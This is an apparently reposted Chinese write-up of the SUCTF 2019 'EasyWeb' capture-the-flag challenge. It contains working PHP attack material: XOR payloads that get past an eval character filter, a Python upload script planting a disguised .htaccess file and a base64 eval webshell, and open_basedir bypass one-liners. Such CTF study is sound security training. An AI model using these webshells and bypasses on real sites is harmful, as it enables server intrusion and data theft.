[SUCTF 2019]EasyWeb


0x00 前言

考察知識點:

  • php正則繞過(參考文章:https://blog.csdn.net/mochu7777777/article/details/104631142)
  • 文件上傳木馬繞過'<?'以及'exif_imagetype()'
    • '<?'的繞過:PHP5.x版本中可以使用 <script language='php'>eval($_REQUEST['shell']);</script>來繞過。
    • 配合.htaccess文件利用base64編碼進行繞過(具體使用見解題過程)。
    • exif_imagetype()繞過:
      • 使用GIF89a文件頭:
      #shell.php
      GIF89a
      <?php eval($_REQUEST['shell']);?>
      
      但是注意一點,如果要上傳.htaccess文件繞過檢測的話,使用GIF89a的文件頭會導致.htaccess文件無法生效。
      • 預定義高度寬度:
      #define width 1337
      #define height 1337
      
      文件內容---
      
      這種方法可以讓.htaccess文件生效,因為'#'號在.htaccess文件中是注釋符,不影響文件本身內容解析。
      • 利用x00x00x8ax39x8ax39:x00x00x8ax30x8ax39是wbmp文件的文件頭,0x00在.htaccess文件中同樣也是注釋符,不會影響文件本身。使用十六進制編輯器或者python的bytes字符類型(b'')來進行添加。payload:shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00" + '文件內容'
  • bypass open_basedir:
    • open_basedir 將PHP所能打開的文件限制在指定的目錄樹中,包括文件本身。當程序要使用例如fopen()或file_get_contents()打開一個文件時,這個文件的位置將會被檢查。當文件在指定的目錄樹之外,程序將拒絕打開。
    • 繞過:https://xz.aliyun.com/t/4720
    • payload=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));

0x01 解題

  1. buuoj上進入題目直接給了源碼:
<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

接受GET方式傳入的_參數,經過正則匹配之后eval執行。並且給了一個
get_the_flag()函數,主要功能是接受上傳的文件經過檢測之后輸出文件路徑。

  1. 先嘗試繞過正則匹配,可以寫一個php腳本來看看哪些字符可以利用:
<?php

for($test=0;$test<256;$test++){
    if(!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($test))){
        echo bin2hex(chr($test)).'';
    }
}

?>

#運行結果:21 23 24 25 28 29 2a 2b 2d 2f 3a 3b 3c 3e 3f 40 5c 5d 5e 7b 7d 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff 

那么就利用這些字符來進行異或,拼接出shell

payload=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

%ff%ff%ff%ff^%a0%b8%ba%ab //異或結果為$_GET,{$_GET}{%ff}

圖1

payload可以使用

  1. 調用get_the_flag()函數,傳入木馬。

函數源碼如下:

function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!! 
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
    $tmp_name = $_FILES["file"]["tmp_name"];
    $name = $_FILES["file"]["name"];
    $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

接受我們傳入的文件,會檢測文件后綴名是否以ph開頭,然后進一步檢測文件中是否含有'<?',最后使用exif_imagetype()函數進一步過濾。

  1. 繞過:配合.htaccess文件進行base64編碼繞過。下面直接給出我的exp:
import  requests
import base64

url = 'http://630ed89b-d10c-450e-a051-faa2a98a9c14.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag'
htaccess='''#define width 1337
#define height 1337

AddType application/x-httpd-php .ha
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_adeee0c170ad4ffb110df0cde294aecd/shell.ha"'''

files = {
    'file' : ('.htaccess',htaccess,'image/jpeg'),
}

res = requests.post(url=url,files=files)

print(res.text)
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_POST['shell']);?>")  //GIF89a12里的12是為了符合base64解碼規范而添加的

#shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_POST['shell']);?>")

files2 = {
    'file' : ('shell.ha',shell,'image/jpeg'),
}

res = requests.post(url=url,files=files2)
print(res.text)

利用.htaccess文件將.ha后綴名的文件解析為php,本題php環境為7.2,所以無法使用<script language='php'>eval($_REQUEST['shell']);</script>這條payload,所以將shell.ha進行base64編碼之后,在.htaccess文件中利用filter://協議將文件解碼,從而達到傳入shell的目的。

  1. 拿到文件路徑:圖2 訪問shell.ha圖3 可以看到,shell已經成功執行,蟻劍連接:圖4 提示根目錄下無權訪問,看一下phpinfo()里的open_basedir:圖5 利用之前的bypass open_basedir的payload,查看根目錄下的文件:
    圖6
    獲得flag:圖7
payload1:shell=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));


payload2:shell=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print(readfile('/THis_Is_tHe_F14g'));

0x02 非預期解

  • 利用蟻劍的bypass disable_functions插件
  1. 在phpinfo中可以看到禁用了許多函數:圖8 這也就是為什么我們第一步要調用get_the_flag()函數的原因。
  2. 蟻劍連接上shell之后,使用蟻劍的插件(需要在插件市場里下載):圖9
    點擊開始,打開虛擬終端,直接讀取flag:圖10


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM